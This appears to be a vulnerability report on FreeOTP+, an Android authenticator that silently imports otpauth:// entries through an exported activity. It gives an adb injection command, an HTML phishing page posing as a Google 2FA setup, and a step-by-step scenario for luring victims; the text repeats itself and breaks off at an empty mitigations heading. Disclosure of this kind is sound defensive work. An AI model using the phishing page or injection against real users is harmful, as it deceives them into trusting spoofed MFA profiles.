Summary:
FreeOTP+ accepts externally supplied otpauth:// intents through an exported BROWSABLE activity and imports attacker-controlled OTP profiles into the authenticator application.
Affected Component:
org.fedorahosted.freeotp.ui.MainActivity
Impact:
A malicious Android application or crafted phishing webpage can invoke FreeOTP+ using a specially crafted otpauth:// URI and inject arbitrary OTP entries into the authenticator list. An attacker can spoof trusted provider names such as Google or Google Security, potentially misleading users into trusting attacker-controlled MFA profiles.
Steps to Reproduce:
- Install FreeOTP+ on Android device.
- Execute:
adb shell am start
-n org.liberty.android.freeotpplus/org.fedorahosted.freeotp.ui.MainActivity
-a android.intent.action.VIEW
-d "otpauth://totp/Google:admin@gmail.com?secret=JBSWY3DPEHPK3PXP&issuer=Google"
- Observe that a new OTP profile named "Google" is added into the authenticator application.
Alternative Reproduction via Phishing Webpage
An attacker can also trigger the import flow through a malicious webpage:
<!DOCTYPE html>
<html>
<head>
<title>2FA Setup Demo</title>
</head>
<body>
<h2>Enable Google Security Verification</h2>
<a href="otpauth://totp/Google:admin@gmail.com?secret=JBSWY3DPEHPK3PXP&issuer=Google">
Enable 2FA
</a>
</body>
</html>
Exploitation Scenario
Host the webpage locally or on a public server.
Send the link to the victim through email, SMS, or messaging platforms.
The victim opens the webpage and clicks the hyperlink.
FreeOTP+ launches and imports the attacker-controlled OTP entry.
Observed Behavior:
The application imports externally supplied OTP entries from otpauth:// intents and displays attacker-controlled issuer labels inside the authenticator list.
Security Concern:
This behavior may enable phishing or social-engineering attacks where malicious applications or webpages inject deceptive MFA profiles into the authenticator application.
Suggested Mitigations:
- Require explicit confirmation before importing external OTP entries.
- Display clear warnings for externally supplied OTP profiles.
- Restrict or validate issuer labels.
- Add stronger user verification before saving imported entries.
Summary:
FreeOTP+ accepts externally supplied otpauth:// intents through an exported BROWSABLE activity and imports attacker-controlled OTP profiles into the authenticator application.
Affected Component:
org.fedorahosted.freeotp.ui.MainActivity
Impact:
A malicious Android application or crafted phishing webpage can invoke FreeOTP+ using a specially crafted otpauth:// URI and inject arbitrary OTP entries into the authenticator list. An attacker can spoof trusted provider names such as Google or Google Security, potentially misleading users into trusting attacker-controlled MFA profiles.
Steps to Reproduce:
adb shell am start
-n org.liberty.android.freeotpplus/org.fedorahosted.freeotp.ui.MainActivity
-a android.intent.action.VIEW
-d "otpauth://totp/Google:admin@gmail.com?secret=JBSWY3DPEHPK3PXP&issuer=Google"
Alternative Reproduction via Phishing Webpage
An attacker can also trigger the import flow through a malicious webpage:
Exploitation Scenario
Host the webpage locally or on a public server.
Send the link to the victim through email, SMS, or messaging platforms.
The victim opens the webpage and clicks the hyperlink.
FreeOTP+ launches and imports the attacker-controlled OTP entry.
Observed Behavior:
The application imports externally supplied OTP entries from otpauth:// intents and displays attacker-controlled issuer labels inside the authenticator list.
Security Concern:
This behavior may enable phishing or social-engineering attacks where malicious applications or webpages inject deceptive MFA profiles into the authenticator application.
Suggested Mitigations: